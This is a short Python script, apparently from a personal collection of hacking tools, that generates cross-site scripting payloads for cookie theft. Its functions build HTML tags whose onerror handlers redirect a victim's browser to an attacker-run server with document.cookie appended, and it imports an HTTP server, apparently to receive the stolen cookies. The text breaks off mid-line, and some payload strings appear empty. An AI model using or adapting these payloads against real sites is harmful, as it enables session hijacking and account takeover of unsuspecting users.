#!/usr/bin/env python from hackingscripts import util import sys import http.server import socketserver from http.server import HTTPServer, BaseHTTPRequestHandler # returns http address def getServerAddress(address, port): if port == 80: return "http://%s" % address else: return "http://%s:%d" % (address, port) # returns js code: 'http://xxxx:yy/?x='+document.cookie def getCookieAddress(address, port): return "'%s/?x='+document.cookie" % getServerAddress(address, port) def generatePayload(type, address, port): payloads = [] cookieAddress = getCookieAddress(address, port) media_tags = ["img","audio","video","image","body","script","object"] if type in media_tags: payloads.append('<%s src=1 href=1 onerror="javascript:document.location=%s">' % (type, cookieAddress)) if type == "script": payloads.append('' % cookieAddress) payloads.append('